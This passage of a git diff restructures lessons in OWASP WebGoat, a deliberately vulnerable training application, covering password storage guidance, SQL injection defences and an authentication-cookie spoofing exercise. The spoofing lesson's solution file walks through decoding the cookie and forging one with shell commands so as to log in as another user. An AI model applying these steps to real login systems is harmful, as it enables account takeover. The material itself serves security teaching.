+The verifier shall use approved encryption and an authenticated protected channel to resist eavesdropping and MitM (Man-in-the-middle) attacks when requesting memorized secrets. +- *resistant to offline attacks* + +Passwords should be stored in a form that is resistant to offline attacks. +- *use salts* + +Passwords should be salted before storing them. +The salt shall have at least 32 bits in length and should be chosen arbitrarily to minimize salt value collisions among stored hashes. +- *use hashing* + +Before storing a password, it should be hashed with a one-way key derivation function. +The function inputs the password, salt, and cost factor and then generates a password hash. + +Examples of suitable key derivation functions: +* Password-based Key Derivation Function 2 (https://pages.nist.gov/800-63-3/sp800-63b.html#SP800-132[PBKDF2]) (as large as possible => at least 10.000 iterations) +* https://pages.nist.gov/800-63-3/sp800-63b.html#SP800-132[BALLOON] +* The key derivation function shall use an approved one-way function such as: +** Keyed Hash Message Authentication Code (https://pages.nist.gov/800-63-3/sp800-63b.html#FIPS198-1[HMAC]) +** any approved hash function in https://pages.nist.gov/800-63-3/sp800-63b.html#SP800-107[SP 800-107] +** Secure Hash Algorithm 3 (https://pages.nist.gov/800-63-3/sp800-63b.html#FIPS202[SHA-3]) +** https://pages.nist.gov/800-63-3/sp800-63b.html#SP800-38B[CMAC] +** Keccak Message Authentication Code (KMAC) +** Customizable SHAKE (cSHAKE) +** https://pages.nist.gov/800-63-3/sp800-63b.html#SP800-185[ParallelHash] +- *memory hard key derivation function* + +Use memory-hard key derivation functions to increase the needed cost further to perform attacks. +- *high cost factor* + +The key derivation function's cost factor (iteration count) should be as large as verification server performance will allow. (at least 10.000 iterations) diff --git a/src/main/resources/lessons/securepasswords/documentation/SecurePasswords_assignment_introduction.adoc b/src/main/resources/lessons/securepasswords/documentation/SecurePasswords_assignment_introduction.adoc new file mode 100644 index 000000000..346459a95 --- /dev/null +++ b/src/main/resources/lessons/securepasswords/documentation/SecurePasswords_assignment_introduction.adoc @@ -0,0 +1,14 @@ +=== How long could it take to brute force your password? + +In this assignment, you have to type in a password that is strong enough (at least 4/4). + +After you finish this assignment we highly recommend you try some passwords below to see why they are not good choices: + +* password +* johnsmith +* 2018/10/4 +* 1992home +* abcabc +* fffget +* poiuz +* @dmin diff --git a/src/main/resources/lessons/securepasswords/documentation/SecurePasswords_intro.adoc b/src/main/resources/lessons/securepasswords/documentation/SecurePasswords_intro.adoc new file mode 100644 index 000000000..3b35c456f --- /dev/null +++ b/src/main/resources/lessons/securepasswords/documentation/SecurePasswords_intro.adoc @@ -0,0 +1,7 @@ +In this lesson, the user will learn how to create strong passwords and securely store them. +We will take a look at the most important recommendations made by the NIST password standard. + +Goals: + +- The user knows how a strong password should look like and what specifications it should fulfill +- The user has a basic overview of what to pay attention to when developing an application that stores passwords diff --git a/src/main/resources/lessons/securepasswords/html/SecurePasswords.html b/src/main/resources/lessons/securepasswords/html/SecurePasswords.html new file mode 100644 index 000000000..a57a21c95 --- /dev/null +++ b/src/main/resources/lessons/securepasswords/html/SecurePasswords.html @@ -0,0 +1,61 @@ + + + + +
+
+
+ +
+
+
+ +
+
+
+ +
+
+
+
+ + +
+ + Show password +
+
+ +
+ +
+
+
+
+ +
+
+
+ +
+
+
+ + + + + diff --git a/webgoat-lessons/secure-passwords/src/main/resources/i18n/WebGoatLabels.properties b/src/main/resources/lessons/securepasswords/i18n/WebGoatLabels.properties similarity index 100% rename from webgoat-lessons/secure-passwords/src/main/resources/i18n/WebGoatLabels.properties rename to src/main/resources/lessons/securepasswords/i18n/WebGoatLabels.properties diff --git a/webgoat-lessons/secure-passwords/src/main/resources/i18n/WebGoatLabels_nl.properties b/src/main/resources/lessons/securepasswords/i18n/WebGoatLabels_nl.properties similarity index 100% rename from webgoat-lessons/secure-passwords/src/main/resources/i18n/WebGoatLabels_nl.properties rename to src/main/resources/lessons/securepasswords/i18n/WebGoatLabels_nl.properties diff --git a/webgoat-lessons/secure-passwords/src/main/resources/js/questions_cia.json b/src/main/resources/lessons/securepasswords/js/questions_cia.json similarity index 100% rename from webgoat-lessons/secure-passwords/src/main/resources/js/questions_cia.json rename to src/main/resources/lessons/securepasswords/js/questions_cia.json diff --git a/webgoat-lessons/sol.MD b/src/main/resources/lessons/sol.MD similarity index 100% rename from webgoat-lessons/sol.MD rename to src/main/resources/lessons/sol.MD diff --git a/webgoat-lessons/sol.txt b/src/main/resources/lessons/sol.txt similarity index 100% rename from webgoat-lessons/sol.txt rename to src/main/resources/lessons/sol.txt diff --git a/src/main/resources/lessons/spoofcookie/documentation/SpoofCookie_content0.adoc b/src/main/resources/lessons/spoofcookie/documentation/SpoofCookie_content0.adoc new file mode 100644 index 000000000..132e11bc4 --- /dev/null +++ b/src/main/resources/lessons/spoofcookie/documentation/SpoofCookie_content0.adoc @@ -0,0 +1,30 @@ += Spoofing an Authentication Cookie + +Bypass the authentication mechanism by spoofing an authentication cookie. + +*Notes about the login system* + +When an authentication cookie is sent, the system will log in the user directly if the cookie is valid. + +When a cookie is not sent, but credentials provided are correct, the system will create an authentication cookie. + +The login will be denied on any other cases. + +Pay attention to the feedback message that you will get during the attacks. + +Known credentials: + +[frame=ends] +|=== +|user name |password + +|webgoat +|webgoat + +|admin +|admin +|=== + +*Goal* + +When you understand how the authentication cookie is generated, try to _spoof_ the cookie and login as Tom. diff --git a/src/main/resources/lessons/spoofcookie/documentation/SpoofCookie_plan.adoc b/src/main/resources/lessons/spoofcookie/documentation/SpoofCookie_plan.adoc new file mode 100644 index 000000000..cad7f7ba7 --- /dev/null +++ b/src/main/resources/lessons/spoofcookie/documentation/SpoofCookie_plan.adoc @@ -0,0 +1,18 @@ += Spoofing an Authentication Cookie + +== Concept + +Authentication Cookies are used for services that require authentication, when the user logs in with a personal user name and password, the server validates the provided credentials and if those are valid, it creates a session. + +Every session usually has a unique ID that identifies the user's session; when the server returns the response to the user, it includes a Set-Cookie header that contains, among other things, the cookie name and value. + +The authentication cookie is typically stored on the client and server side. + +On the one hand, having the cookie stored on the client side implies that can be stolen by exploiting certain vulnerabilities or intercepted using man in the middle attacks or XSS. On the other, cookie values can be guessed if the algorithm for generating the cookie can be obtained. + +Many applications will automatically login a user if the right authentication cookie is provided. + + +== Goals + +The user should be able to guess the cookie generation algorithm and bypass the authentication mechanism by logging in as a different user. diff --git a/src/main/resources/lessons/spoofcookie/html/SpoofCookie.html b/src/main/resources/lessons/spoofcookie/html/SpoofCookie.html new file mode 100644 index 000000000..9077554bf --- /dev/null +++ b/src/main/resources/lessons/spoofcookie/html/SpoofCookie.html @@ -0,0 +1,32 @@ + + + + + + + + + +
+
+
+ + +
+
+
+
+ +
+ +
+
+
+ +
+
+
+
+ + diff --git a/src/main/resources/lessons/spoofcookie/i18n/WebGoatLabels.properties b/src/main/resources/lessons/spoofcookie/i18n/WebGoatLabels.properties new file mode 100644 index 000000000..4f4aed4aa --- /dev/null +++ b/src/main/resources/lessons/spoofcookie/i18n/WebGoatLabels.properties @@ -0,0 +1,7 @@ +spoofcookie.title=Spoofing an Authentication Cookie + +spoofcookie.wrong-login=Login failed. +spoofcookie.login=Logged in using credentials. Cookie created, see below. +spoofcookie.cookie-login=Logged in using cookie. +spoofcookie.wrong-cookie=Wrong cookie sent. +spoofcookie.cheating=Don't cheat! diff --git a/src/main/resources/lessons/spoofcookie/js/handler.js b/src/main/resources/lessons/spoofcookie/js/handler.js new file mode 100644 index 000000000..1a1cddbb4 --- /dev/null +++ b/src/main/resources/lessons/spoofcookie/js/handler.js @@ -0,0 +1,31 @@ +function getCookieValue() { + var cookie = document.cookie.match(new RegExp('(^| )spoof_auth=([^;]+)')); + if (cookie != null) + return [2]; + return null; +} + +function cleanup() { + document.cookie = 'spoof_auth=;Max-Age=0;secure=true'; + $('#spoof_username').removeAttr('disabled'); + $('#spoof_password').removeAttr('disabled'); + $('#spoof_submit').removeAttr('disabled'); + $('#spoof_attack_feedback').html(''); + $('#spoof_attack_output').html(''); +} + +var target = document.getElementById('spoof_attack_feedback'); + +var obs = new MutationObserver(function(mutations) { + mutations.forEach(function() { + var cookie = getCookieValue(); + if (cookie) { + $('#spoof_username').prop('disabled', true); + $('#spoof_password').prop('disabled', true); + $('#spoof_submit').prop('disabled', true); + } + }); +}); + +obs.observe(target, { characterData: false, attributes: false, childList: true, subtree: false }); + diff --git a/src/main/resources/lessons/spoofcookie/lessonSolutions/en/SpoofCookie_solution.adoc b/src/main/resources/lessons/spoofcookie/lessonSolutions/en/SpoofCookie_solution.adoc new file mode 100644 index 000000000..6d867e3a3 --- /dev/null +++ b/src/main/resources/lessons/spoofcookie/lessonSolutions/en/SpoofCookie_solution.adoc @@ -0,0 +1,88 @@ += Spoofing an Authentication Cookie + +== Solution + +Some standard Linux tools have been used on this solution; other kind of tools -like online tools- can be used and the same results should be obtained. + +=== Analysis and reversing + +Inspect the webgoat user spoof_auth cookie value: + +[source, text] +---- +NjM3OTRhNGY0ODRiNTQ0OTU3NDU3NDYxNmY2NzYyNjU3Nw== +---- + +It look like a base64 encoded text. + +Decoding the base64 text: + +[source, sh] +---- +echo NjM3OTRhNGY0ODRiNTQ0OTU3NDU3NDYxNmY2NzYyNjU3Nw== | base64 -d +63794a4f484b5449574574616f67626577 +---- + +Now, it look like a hexadecimal encoded text. + +Hexadecimal text decoding: + +[source, sh] +---- +echo 63794a4f484b5449574574616f67626577 | xxd -p -r +cyJOHKTIWEtaogbew +---- + +Now, reverse the text: + +[source, text] +---- +webgoatEWITKHOJyc +---- + +We can see the user name with some random text appended. If we request some more different cookies for the same user, we will observe that the cookie generation appends random text of ten characters together with the user name, after it reverses the whole string and encodes it as hexadecimal and base64 respectively. + +=== Attacking the system + +Let's see how to forge our authentication cookie for tom. + +Our initial string will be the user name and a random text of ten characters. + +[source,text] +---- +tomAAAAAAAAAA +---- + +Reverse it: + +[source, text] +---- +AAAAAAAAAAmot +---- + +Now, encode the text to hexadecimal: + +[source,text] +---- +# warn: do not encode any whitespace or new line character +echo -n AAAAAAAAAAmot | xxd -ps +414141414141414141416d6f74 +---- + +Encode to base64: + +[source,text] +---- +# warn: do not encode any whitespace or new line character +echo -n 414141414141414141416d6f74 | base64 +NDE0MTQxNDE0MTQxNDE0MTQxNDE2ZDZmNzQ= +---- + +The spoof_auth cookie value is: + +[source,text] +---- +NDE0MTQxNDE0MTQxNDE0MTQxNDE2ZDZmNzQ= +---- + +Finally, send the cookie to the system using any method that you prefer; OWASP ZAP, curl, the browser developer tools, etc. diff --git a/webgoat-lessons/http-basics/src/main/resources/lessonSolutions/html/HttpBasics.html b/src/main/resources/lessons/spoofcookie/lessonSolutions/html/SpoofCookie.html similarity index 75% rename from webgoat-lessons/http-basics/src/main/resources/lessonSolutions/html/HttpBasics.html rename to src/main/resources/lessons/spoofcookie/lessonSolutions/html/SpoofCookie.html index 42219764e..c2dafc5aa 100644 --- a/webgoat-lessons/http-basics/src/main/resources/lessonSolutions/html/HttpBasics.html +++ b/src/main/resources/lessons/spoofcookie/lessonSolutions/html/SpoofCookie.html @@ -7,7 +7,7 @@
-
+
diff --git a/src/main/resources/lessons/spoofcookie/templates/spoofcookieform.html b/src/main/resources/lessons/spoofcookie/templates/spoofcookieform.html new file mode 100644 index 000000000..dce39cd1a --- /dev/null +++ b/src/main/resources/lessons/spoofcookie/templates/spoofcookieform.html @@ -0,0 +1,30 @@ +
+
+
+
+

Account Access

+
+
+ + +
+
+ +
+ + +
+
+
+
+
diff --git a/webgoat-lessons/sql-injection/src/main/resources/css/assignments.css b/src/main/resources/lessons/sqlinjection/css/assignments.css similarity index 100% rename from webgoat-lessons/sql-injection/src/main/resources/css/assignments.css rename to src/main/resources/lessons/sqlinjection/css/assignments.css diff --git a/webgoat-lessons/sql-injection/src/main/resources/css/challenge.css b/src/main/resources/lessons/sqlinjection/css/challenge.css similarity index 100% rename from webgoat-lessons/sql-injection/src/main/resources/css/challenge.css rename to src/main/resources/lessons/sqlinjection/css/challenge.css diff --git a/webgoat-container/src/main/resources/static/css/quiz.css b/src/main/resources/lessons/sqlinjection/css/quiz.css similarity index 100% rename from webgoat-container/src/main/resources/static/css/quiz.css rename to src/main/resources/lessons/sqlinjection/css/quiz.css diff --git a/webgoat-lessons/sql-injection/src/main/resources/db/migration/V2019_09_26_1__servers.sql b/src/main/resources/lessons/sqlinjection/db/migration/V2019_09_26_1__servers.sql similarity index 54% rename from webgoat-lessons/sql-injection/src/main/resources/db/migration/V2019_09_26_1__servers.sql rename to src/main/resources/lessons/sqlinjection/db/migration/V2019_09_26_1__servers.sql index 6dbdb7762..b9f036dbd 100644 --- a/webgoat-lessons/sql-injection/src/main/resources/db/migration/V2019_09_26_1__servers.sql +++ b/src/main/resources/lessons/sqlinjection/db/migration/V2019_09_26_1__servers.sql @@ -1,4 +1,4 @@ -CREATE TABLE servers( +CREATE TABLE SERVERS( id varchar(10), hostname varchar(20), ip varchar(20), @@ -6,8 +6,8 @@ CREATE TABLE servers( status varchar(20), description varchar(40) ); -INSERT INTO servers VALUES ('1', 'webgoat-dev', '192.168.4.0', 'AA:BB:11:22:CC:DD', 'online', 'Development server'); -INSERT INTO servers VALUES ('2', 'webgoat-tst', '192.168.2.1', 'EE:FF:33:44:AB:CD', 'online', 'Test server'); -INSERT INTO servers VALUES ('3', 'webgoat-acc', '192.168.3.3', 'EF:12:FE:34:AA:CC', 'offline', 'Acceptance server'); -INSERT INTO servers VALUES ('4', 'webgoat-pre-prod', '192.168.6.4', 'EF:12:FE:34:AA:CC', 'offline', 'Pre-production server'); -INSERT INTO servers VALUES ('4', 'webgoat-prd', '104.130.219.202', 'FA:91:EB:82:DC:73', 'out of order', 'Production server'); +INSERT INTO SERVERS VALUES ('1', 'webgoat-dev', '192.168.4.0', 'AA:BB:11:22:CC:DD', 'online', 'Development server'); +INSERT INTO SERVERS VALUES ('2', 'webgoat-tst', '192.168.2.1', 'EE:FF:33:44:AB:CD', 'online', 'Test server'); +INSERT INTO SERVERS VALUES ('3', 'webgoat-acc', '192.168.3.3', 'EF:12:FE:34:AA:CC', 'offline', 'Acceptance server'); +INSERT INTO SERVERS VALUES ('4', 'webgoat-pre-prod', '192.168.6.4', 'EF:12:FE:34:AA:CC', 'offline', 'Pre-production server'); +INSERT INTO SERVERS VALUES ('4', 'webgoat-prd', '104.130.219.202', 'FA:91:EB:82:DC:73', 'out of order', 'Production server'); diff --git a/webgoat-lessons/sql-injection/src/main/resources/db/migration/V2019_09_26_2__users.sql b/src/main/resources/lessons/sqlinjection/db/migration/V2019_09_26_2__users.sql similarity index 100% rename from webgoat-lessons/sql-injection/src/main/resources/db/migration/V2019_09_26_2__users.sql rename to src/main/resources/lessons/sqlinjection/db/migration/V2019_09_26_2__users.sql diff --git a/webgoat-lessons/sql-injection/src/main/resources/db/migration/V2019_09_26_3__salaries.sql b/src/main/resources/lessons/sqlinjection/db/migration/V2019_09_26_3__salaries.sql similarity index 100% rename from webgoat-lessons/sql-injection/src/main/resources/db/migration/V2019_09_26_3__salaries.sql rename to src/main/resources/lessons/sqlinjection/db/migration/V2019_09_26_3__salaries.sql diff --git a/webgoat-lessons/sql-injection/src/main/resources/db/migration/V2019_09_26_4__tan.sql b/src/main/resources/lessons/sqlinjection/db/migration/V2019_09_26_4__tan.sql similarity index 100% rename from webgoat-lessons/sql-injection/src/main/resources/db/migration/V2019_09_26_4__tan.sql rename to src/main/resources/lessons/sqlinjection/db/migration/V2019_09_26_4__tan.sql diff --git a/webgoat-lessons/sql-injection/src/main/resources/db/migration/V2019_09_26_5__challenge_assignment.sql b/src/main/resources/lessons/sqlinjection/db/migration/V2019_09_26_5__challenge_assignment.sql similarity index 100% rename from webgoat-lessons/sql-injection/src/main/resources/db/migration/V2019_09_26_5__challenge_assignment.sql rename to src/main/resources/lessons/sqlinjection/db/migration/V2019_09_26_5__challenge_assignment.sql diff --git a/webgoat-lessons/sql-injection/src/main/resources/db/migration/V2019_09_26_6__user_system_data.sql b/src/main/resources/lessons/sqlinjection/db/migration/V2019_09_26_6__user_system_data.sql similarity index 100% rename from webgoat-lessons/sql-injection/src/main/resources/db/migration/V2019_09_26_6__user_system_data.sql rename to src/main/resources/lessons/sqlinjection/db/migration/V2019_09_26_6__user_system_data.sql diff --git a/webgoat-lessons/sql-injection/src/main/resources/db/migration/V2019_09_26_7__employees.sql b/src/main/resources/lessons/sqlinjection/db/migration/V2019_09_26_7__employees.sql similarity index 100% rename from webgoat-lessons/sql-injection/src/main/resources/db/migration/V2019_09_26_7__employees.sql rename to src/main/resources/lessons/sqlinjection/db/migration/V2019_09_26_7__employees.sql diff --git a/webgoat-lessons/sql-injection/src/main/resources/db/migration/V2021_03_13_8__grant.sql b/src/main/resources/lessons/sqlinjection/db/migration/V2021_03_13_8__grant.sql similarity index 100% rename from webgoat-lessons/sql-injection/src/main/resources/db/migration/V2021_03_13_8__grant.sql rename to src/main/resources/lessons/sqlinjection/db/migration/V2021_03_13_8__grant.sql diff --git a/webgoat-lessons/sql-injection/src/main/resources/lessonPlans/en/SqlInjectionAdvanced_plan.adoc b/src/main/resources/lessons/sqlinjection/documentation/SqlInjectionAdvanced_plan.adoc similarity index 100% rename from webgoat-lessons/sql-injection/src/main/resources/lessonPlans/en/SqlInjectionAdvanced_plan.adoc rename to src/main/resources/lessons/sqlinjection/documentation/SqlInjectionAdvanced_plan.adoc diff --git a/webgoat-lessons/sql-injection/src/main/resources/lessonPlans/en/SqlInjection_challenge.adoc b/src/main/resources/lessons/sqlinjection/documentation/SqlInjection_challenge.adoc similarity index 80% rename from webgoat-lessons/sql-injection/src/main/resources/lessonPlans/en/SqlInjection_challenge.adoc rename to src/main/resources/lessons/sqlinjection/documentation/SqlInjection_challenge.adoc index 8a8a7ce78..2e7d5562c 100644 --- a/webgoat-lessons/sql-injection/src/main/resources/lessonPlans/en/SqlInjection_challenge.adoc +++ b/src/main/resources/lessons/sqlinjection/documentation/SqlInjection_challenge.adoc @@ -1,6 +1,6 @@ We now explained the basic steps involved in an SQL injection. In this assignment you will need to combine all the things we explained in the SQL lessons. -Goal: Can you login as Tom? +Goal: Can you log in as Tom? -Have fun! \ No newline at end of file +Have fun! diff --git a/webgoat-lessons/sql-injection/src/main/resources/lessonPlans/en/SqlInjection_content10.adoc b/src/main/resources/lessons/sqlinjection/documentation/SqlInjection_content10.adoc similarity index 94% rename from webgoat-lessons/sql-injection/src/main/resources/lessonPlans/en/SqlInjection_content10.adoc rename to src/main/resources/lessons/sqlinjection/documentation/SqlInjection_content10.adoc index a407cf1af..36edbdb3a 100644 --- a/webgoat-lessons/sql-injection/src/main/resources/lessonPlans/en/SqlInjection_content10.adoc +++ b/src/main/resources/lessons/sqlinjection/documentation/SqlInjection_content10.adoc @@ -6,7 +6,7 @@ public static String loadAccount() { String accountID = getParser().getStringParameter(ACCT_ID, ""); String data = null; String query = "SELECT first_name, last_name, acct_id, balance FROM user_data WHERE acct_id = ?"; - try (Connection connection = null; + try (Connection connection = dataSource.getConnection()) { PreparedStatement statement = connection.prepareStatement(query)) { statement.setString(1, accountID); ResultSet results = statement.executeQuery(); diff --git a/webgoat-lessons/sql-injection/src/main/resources/lessonPlans/en/SqlInjection_content11.adoc b/src/main/resources/lessons/sqlinjection/documentation/SqlInjection_content11.adoc similarity index 100% rename from webgoat-lessons/sql-injection/src/main/resources/lessonPlans/en/SqlInjection_content11.adoc rename to src/main/resources/lessons/sqlinjection/documentation/SqlInjection_content11.adoc diff --git a/webgoat-lessons/sql-injection/src/main/resources/lessonPlans/en/SqlInjection_content12.adoc b/src/main/resources/lessons/sqlinjection/documentation/SqlInjection_content12.adoc similarity index 100% rename from webgoat-lessons/sql-injection/src/main/resources/lessonPlans/en/SqlInjection_content12.adoc rename to src/main/resources/lessons/sqlinjection/documentation/SqlInjection_content12.adoc diff --git a/webgoat-lessons/sql-injection/src/main/resources/lessonPlans/en/SqlInjection_content12a.adoc b/src/main/resources/lessons/sqlinjection/documentation/SqlInjection_content12a.adoc similarity index 100% rename from webgoat-lessons/sql-injection/src/main/resources/lessonPlans/en/SqlInjection_content12a.adoc rename to src/main/resources/lessons/sqlinjection/documentation/SqlInjection_content12a.adoc diff --git a/webgoat-lessons/sql-injection/src/main/resources/lessonPlans/en/SqlInjection_content12b.adoc b/src/main/resources/lessons/sqlinjection/documentation/SqlInjection_content12b.adoc similarity index 100% rename from webgoat-lessons/sql-injection/src/main/resources/lessonPlans/en/SqlInjection_content12b.adoc rename to src/main/resources/lessons/sqlinjection/documentation/SqlInjection_content12b.adoc diff --git a/webgoat-lessons/sql-injection/src/main/resources/lessonPlans/en/SqlInjection_content13.adoc b/src/main/resources/lessons/sqlinjection/documentation/SqlInjection_content13.adoc similarity index 100% rename from webgoat-lessons/sql-injection/src/main/resources/lessonPlans/en/SqlInjection_content13.adoc rename to src/main/resources/lessons/sqlinjection/documentation/SqlInjection_content13.adoc diff --git a/webgoat-lessons/sql-injection/src/main/resources/lessonPlans/en/SqlInjection_content14.adoc b/src/main/resources/lessons/sqlinjection/documentation/SqlInjection_content14.adoc similarity index 100% rename from webgoat-lessons/sql-injection/src/main/resources/lessonPlans/en/SqlInjection_content14.adoc rename to src/main/resources/lessons/sqlinjection/documentation/SqlInjection_content14.adoc diff --git a/webgoat-lessons/sql-injection/src/main/resources/lessonPlans/en/SqlInjection_content6.adoc b/src/main/resources/lessons/sqlinjection/documentation/SqlInjection_content6.adoc similarity index 100% rename from webgoat-lessons/sql-injection/src/main/resources/lessonPlans/en/SqlInjection_content6.adoc rename to src/main/resources/lessons/sqlinjection/documentation/SqlInjection_content6.adoc diff --git a/webgoat-lessons/sql-injection/src/main/resources/lessonPlans/en/SqlInjection_content6a.adoc b/src/main/resources/lessons/sqlinjection/documentation/SqlInjection_content6a.adoc similarity index 96% rename from webgoat-lessons/sql-injection/src/main/resources/lessonPlans/en/SqlInjection_content6a.adoc rename to src/main/resources/lessons/sqlinjection/documentation/SqlInjection_content6a.adoc index 2ce8dcced..8bd6d543e 100644 --- a/webgoat-lessons/sql-injection/src/main/resources/lessonPlans/en/SqlInjection_content6a.adoc +++ b/src/main/resources/lessons/sqlinjection/documentation/SqlInjection_content6a.adoc @@ -28,4 +28,4 @@ CREATE TABLE user_system_data (userid int not null primary key, *6.b)* When you have figured it out.... What is Dave's password? Note: There are multiple ways to solve this Assignment. One is by using a UNION, the other by appending -a new SQl statement. Maybe you can find both of them. \ No newline at end of file +a new SQL statement. Maybe you can find both of them. diff --git a/webgoat-lessons/sql-injection/src/main/resources/lessonPlans/en/SqlInjection_content6c.adoc b/src/main/resources/lessons/sqlinjection/documentation/SqlInjection_content6c.adoc similarity index 100% rename from webgoat-lessons/sql-injection/src/main/resources/lessonPlans/en/SqlInjection_content6c.adoc rename to src/main/resources/lessons/sqlinjection/documentation/SqlInjection_content6c.adoc diff --git a/src/main/resources/lessons/sqlinjection/documentation/SqlInjection_content7.adoc b/src/main/resources/lessons/sqlinjection/documentation/SqlInjection_content7.adoc new file mode 100644 index 000000000..371fcf0dc --- /dev/null +++ b/src/main/resources/lessons/sqlinjection/documentation/SqlInjection_content7.adoc @@ -0,0 +1,26 @@ +== Immutable Queries + +These are the best defense against SQL injection. They either do not have data that could get interpreted, or they treat the data as a single entity that is bound to a column without interpretation. + +=== Static Queries + +---- +String query = "SELECT * FROM products"; +---- + +---- +String query = "SELECT * FROM users WHERE user = '" + session.getAttribute("UserID") + "'"; +---- + +=== Parameterized Queries + +---- +String query = "SELECT * FROM users WHERE last_name = ?"; +PreparedStatement statement = connection.prepareStatement(query); +statement.setString(1, accountName); +ResultSet results = statement.executeQuery(); +---- + +=== Stored Procedures + +Only if stored procedure does not generate dynamic SQL diff --git a/webgoat-lessons/sql-injection/src/main/resources/lessonPlans/en/SqlInjection_content8.adoc b/src/main/resources/lessons/sqlinjection/documentation/SqlInjection_content8.adoc similarity index 92% rename from webgoat-lessons/sql-injection/src/main/resources/lessonPlans/en/SqlInjection_content8.adoc rename to src/main/resources/lessons/sqlinjection/documentation/SqlInjection_content8.adoc index d357ea7ba..dbe6538e6 100644 --- a/webgoat-lessons/sql-injection/src/main/resources/lessonPlans/en/SqlInjection_content8.adoc +++ b/src/main/resources/lessons/sqlinjection/documentation/SqlInjection_content8.adoc @@ -14,7 +14,7 @@ EXEC ListCustomers ‘USA’ === Injectable Stored Procedure (Microsoft SQL Server) ------------------------------------------------------- -CREATE PROEDURE getUser(@lastName nvarchar(25)) +CREATE PROCEDURE getUser(@lastName nvarchar(25)) AS declare @sql nvarchar(255) set @sql = 'SELECT * FROM users WHERE diff --git a/src/main/resources/lessons/sqlinjection/documentation/SqlInjection_content9.adoc b/src/main/resources/lessons/sqlinjection/documentation/SqlInjection_content9.adoc new file mode 100644 index 000000000..2e2fc9a45 --- /dev/null +++ b/src/main/resources/lessons/sqlinjection/documentation/SqlInjection_content9.adoc @@ -0,0 +1,51 @@ +== Parameterized Queries - Java Snippet + +[source,java] +---- +public static bool isUsernameValid(string username) { + RegEx r = new Regex("^[A-Za-z0-9]{16}$"); + return r.isMatch(username); +} + +// java.sql.Connection conn is set elsewhere for brevity. +PreparedStatement ps = null; +RecordSet rs = null; +try { + pUserName = request.getParameter("UserName"); + if ( isUsernameValid (pUsername) ) { + ps = conn.prepareStatement("SELECT * FROM user_table WHERE username = ? "); + ps.setString(1, pUsername); + rs = ps.execute(); + if ( rs.next() ) { + // do the work of making the user record active in some way + } + } else { + // handle invalid input + } +} +catch (...) { // handle all exceptions ... } +---- + +== Important + +Use the prepared statement correctly; parameters should be set with `ps.set..()` and DO NOT use the following statement: + +[source,java] +---- +String insertStatement = "INSERT INTO USERS (id, name, email) VALUES (%s, %s, %s)".format("1", "webgoat", "webgoat@owasp.org"); +PreparedStatement statement = conn.prepareStatement(insertStatement); +statement.executeUpdate(); +---- + +(For the sake of the example, we assume that the passed values are based on user input). +The example above is not the correct way to use a prepared statement, use: + +[source,java] +---- +PreparedStatement statement = conn.prepareStatement("INSERT INTO USERS (id, name, email) VALUES (?, ?, ?)"); +statement.setString(1, "1"); +statement.setString(2, "webgoat"); +statement.setString(3, "webgoat@owasp.org"); +statement.executeUpdate(); +---- + diff --git a/webgoat-lessons/sql-injection/src/main/resources/lessonPlans/en/SqlInjection_introduction_content1.adoc b/src/main/resources/lessons/sqlinjection/documentation/SqlInjection_introduction_content1.adoc similarity index 100% rename from webgoat-lessons/sql-injection/src/main/resources/lessonPlans/en/SqlInjection_introduction_content1.adoc rename to src/main/resources/lessons/sqlinjection/documentation/SqlInjection_introduction_content1.adoc diff --git a/webgoat-lessons/sql-injection/src/main/resources/lessonPlans/en/SqlInjection_introduction_content10.adoc b/src/main/resources/lessons/sqlinjection/documentation/SqlInjection_introduction_content10.adoc similarity index 96% rename from webgoat-lessons/sql-injection/src/main/resources/lessonPlans/en/SqlInjection_introduction_content10.adoc rename to src/main/resources/lessons/sqlinjection/documentation/SqlInjection_introduction_content10.adoc index ccab84775..7f16d952d 100644 --- a/webgoat-lessons/sql-injection/src/main/resources/lessonPlans/en/SqlInjection_introduction_content10.adoc +++ b/src/main/resources/lessons/sqlinjection/documentation/SqlInjection_introduction_content10.adoc @@ -4,7 +4,7 @@ After successfully compromising confidentiality and integrity in the previous le There are many different ways to violate availability. If an account is deleted or its password gets changed, the actual owner cannot access this account anymore. Attackers could also try to delete parts of the database, or even drop the whole database, in order to make the data inaccessible. -Revoking the access rights of admins or other users is yet another way to compromise availability; this would prevent these users from accessing either specific parts of the database or even the entire database as a whdle. +Revoking the access rights of admins or other users is yet another way to compromise availability; this would prevent these users from accessing either specific parts of the database or even the entire database as a whole. === It is your turn! Now you are the top earner in your company. diff --git a/webgoat-lessons/sql-injection/src/main/resources/lessonPlans/en/SqlInjection_introduction_content11.adoc b/src/main/resources/lessons/sqlinjection/documentation/SqlInjection_introduction_content11.adoc similarity index 100% rename from webgoat-lessons/sql-injection/src/main/resources/lessonPlans/en/SqlInjection_introduction_content11.adoc rename to src/main/resources/lessons/sqlinjection/documentation/SqlInjection_introduction_content11.adoc diff --git a/webgoat-lessons/sql-injection/src/main/resources/lessonPlans/en/SqlInjection_introduction_content12.adoc b/src/main/resources/lessons/sqlinjection/documentation/SqlInjection_introduction_content12.adoc similarity index 100% rename from webgoat-lessons/sql-injection/src/main/resources/lessonPlans/en/SqlInjection_introduction_content12.adoc rename to src/main/resources/lessons/sqlinjection/documentation/SqlInjection_introduction_content12.adoc diff --git a/webgoat-lessons/sql-injection/src/main/resources/lessonPlans/en/SqlInjection_introduction_content2.adoc b/src/main/resources/lessons/sqlinjection/documentation/SqlInjection_introduction_content2.adoc similarity index 100% rename from webgoat-lessons/sql-injection/src/main/resources/lessonPlans/en/SqlInjection_introduction_content2.adoc rename to src/main/resources/lessons/sqlinjection/documentation/SqlInjection_introduction_content2.adoc diff --git a/webgoat-lessons/sql-injection/src/main/resources/lessonPlans/en/SqlInjection_introduction_content3.adoc b/src/main/resources/lessons/sqlinjection/documentation/SqlInjection_introduction_content3.adoc similarity index 100% rename from webgoat-lessons/sql-injection/src/main/resources/lessonPlans/en/SqlInjection_introduction_content3.adoc rename to src/main/resources/lessons/sqlinjection/documentation/SqlInjection_introduction_content3.adoc diff --git a/webgoat-lessons/sql-injection/src/main/resources/lessonPlans/en/SqlInjection_introduction_content4.adoc b/src/main/resources/lessons/sqlinjection/documentation/SqlInjection_introduction_content4.adoc similarity index 100% rename from webgoat-lessons/sql-injection/src/main/resources/lessonPlans/en/SqlInjection_introduction_content4.adoc rename to src/main/resources/lessons/sqlinjection/documentation/SqlInjection_introduction_content4.adoc diff --git a/webgoat-lessons/sql-injection/src/main/resources/lessonPlans/en/SqlInjection_introduction_content5_after.adoc b/src/main/resources/lessons/sqlinjection/documentation/SqlInjection_introduction_content5_after.adoc similarity index 100% rename from 